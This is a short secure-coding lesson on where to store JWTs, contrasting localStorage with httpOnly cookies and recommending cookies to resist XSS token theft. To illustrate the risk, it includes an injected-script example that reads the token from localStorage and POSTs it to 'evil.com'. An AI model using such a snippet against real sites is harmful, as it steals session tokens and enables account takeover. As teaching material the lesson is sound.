JWT Storage and XSS Risks
What you'll learn: How choosing the wrong storage mechanism for JWTs can expose your users to token theft through Cross-Site Scripting attacks.
The Storage Dilemma
When your application receives a JWT after authentication, you face a critical choice: where do you store it? The two most common options are localStorage (or sessionStorage) and httpOnly cookies, and this decision has major security implications.
localStorage: Convenient but Vulnerable
Many developers store JWTs in localStorage because it's simple:
localStorage.setItem('token', jwt);
However, localStorage is accessible to any JavaScript running on your page. If an attacker successfully injects malicious JavaScript via XSS (Cross-Site Scripting), they can immediately steal your token:
// Attacker's injected code
const stolenToken = localStorage.getItem('token');
fetch('https://evil.com/steal', { method: 'POST', body: stolenToken });
Think of localStorage like leaving your house key under the doormat—convenient, but anyone who knows where to look can grab it.
httpOnly Cookies: The Safer Choice
httpOnly cookies are inaccessible to JavaScript—the browser handles them automatically. Even if XSS occurs, attackers cannot read the token:
Set-Cookie: token=<jwt>; HttpOnly; Secure; SameSite=Strict
The httpOnly flag ensures JavaScript has no access to the cookie contents. This doesn't prevent all XSS damage (attackers can still make requests), but it prevents token exfiltration to other domains.
The Trade-off
httpOnly cookies protect against token theft but require careful CSRF protection (which you've learned about). localStorage offers flexibility for API calls but opens a massive XSS vulnerability.
Key Takeaway: Always store JWTs in httpOnly cookies to prevent token theft via XSS attacks—JavaScript accessibility equals JavaScript vulnerability.